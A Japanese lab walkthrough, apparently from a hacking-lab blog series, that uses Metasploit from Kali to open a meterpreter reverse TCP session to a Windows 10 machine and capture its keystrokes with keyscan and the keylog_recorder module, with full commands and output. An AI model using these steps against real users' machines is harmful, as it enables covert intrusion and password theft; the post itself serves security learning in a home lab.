キーロガーによりターゲット端末のキー入力を盗み見る

Windows 10

今回はキーロガーを用いてターゲット端末のキー入力を Kali に表示してみようと思います。

キーロガーとは?

キーロガーとは、コンピュータへのキー入力を記録するものです。これにより、ターゲット端末で何を入力したかといったことを把握することができます。
例えば、ターゲット端末が何らかのサイトにログインする際にパスワードを入力した場合には、そのパスワードが攻撃者の端末に表示されます。
悪用することで、パスワードを窃取することが可能ということです。

今回使用するキーロガー

今回は、以下の2つのキーロガーを使用します。
・meterpreter のコマンド「keyscan」
・Metasploit に用意されているキーロガーモジュール「post/windows/capture/keylog_recorder」

meterpreter のコマンド「keyscan」

meterpreter セッション確立

まず、meterpreter でセッションを確立します。

msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 10.0.0.2
lhost => 10.0.0.2
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.0.0.2:4444
[*] Sending stage (180291 bytes) to 10.0.0.103
[*] Meterpreter session 302 opened (10.0.0.2:4444 -> 10.0.0.103:50737) at 2020-03-20 10:33:17 -0400

meterpreter >

キー入力の記録

meterpreter プロンプトで「keyscan_start」と実行することで、セッションを確立したターゲット端末でのキー入力を記録できます。

meterpreter > keyscan_start 
Starting the keystroke sniffer ...
meterpreter >

この状態でターゲット端末側でキー入力を行うと、その入力が Kali 側に記録されます。
ただこの時点ではキー入力が Kali に表示されるといったことはありません。

ターゲット端末でのキー入力

ターゲット端末である Windows 10 でキー入力を行っていきます。
今回はメモ帳を起動し「kdry」と入力します。

キー入力の表示

meterpreter プロンプトで 「keyscan_dump」と実行することで、記録したキー入力を表示することができます。

meterpreter > keyscan_dump
Dumping captured keystrokes...
notepad<CR>
kdry

meterpreter >

「notepad<CR>」は、検索ウィンドウでメモ帳を起動させた際のキー入力です。なお、<CR>はEnterのキー入力を表しています。

そして、メモ帳で入力した「kdry」という文字列も表示されていることを確認できました。

post/windows/capture/keylog_recorder

Metasploit のキーロガーモジュールを使用して、ターゲット端末のキー入力を窃取します。
まず、先程確立したセッションを保持したまま meterpreter プロンプトを抜けます。

meterpreter > background
[*] Backgrounding session 303...
msf5 exploit(multi/handler) >

その後、リバースシェルで確立したセッションを利用して「post/windows/capture/keylog_recorder」を実行します。

msf5 exploit(multi/handler) > use post/windows/capture/keylog_recorder
msf5 post(windows/capture/keylog_recorder) > 
msf5 post(windows/capture/keylog_recorder) > 
msf5 post(windows/capture/keylog_recorder) > set session 303
session => 303
msf5 post(windows/capture/keylog_recorder) > run

[*] Executing module against DESKTOP-SGLRMF3
[*] Starting the keylog recorder...
[*] Keystrokes being saved in to /root/.msf4/loot/20200320110244_default_10.0.0.103_host.windows.key_671931.txt
[*] Recording keystrokes...

この状態でターゲット端末でキー入力を行うと、メッセージにあるテキストファイルに文字列が書き込まれていきます。

Kali で別タブを開いて「tail -f」コマンドを実行し、リアルタイムでキー入力を監視します。

root@kali:~# tail -f /root/.msf4/loot/20200320110244_default_10.0.0.103_host.windows.key_671931.txt
Keystroke log from powershell.exe on DESKTOP-SGLRMF3 with user DESKTOP-SGLRMF3\kdryo started at 2020-03-20 11:02:44 -0400

実際にターゲット端末の Windows 10 でキー入力を行うと、リアルタイムで Kali 側に反映されることが確認できました。

キーロガーの演習は以上になります。

なお、今回で Windows のハッキングは終わりです。
次回以降は Linux へのハッキングを行っていきます。

くどり

この記事は「ハッキング・ラボのつくりかた 第4章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました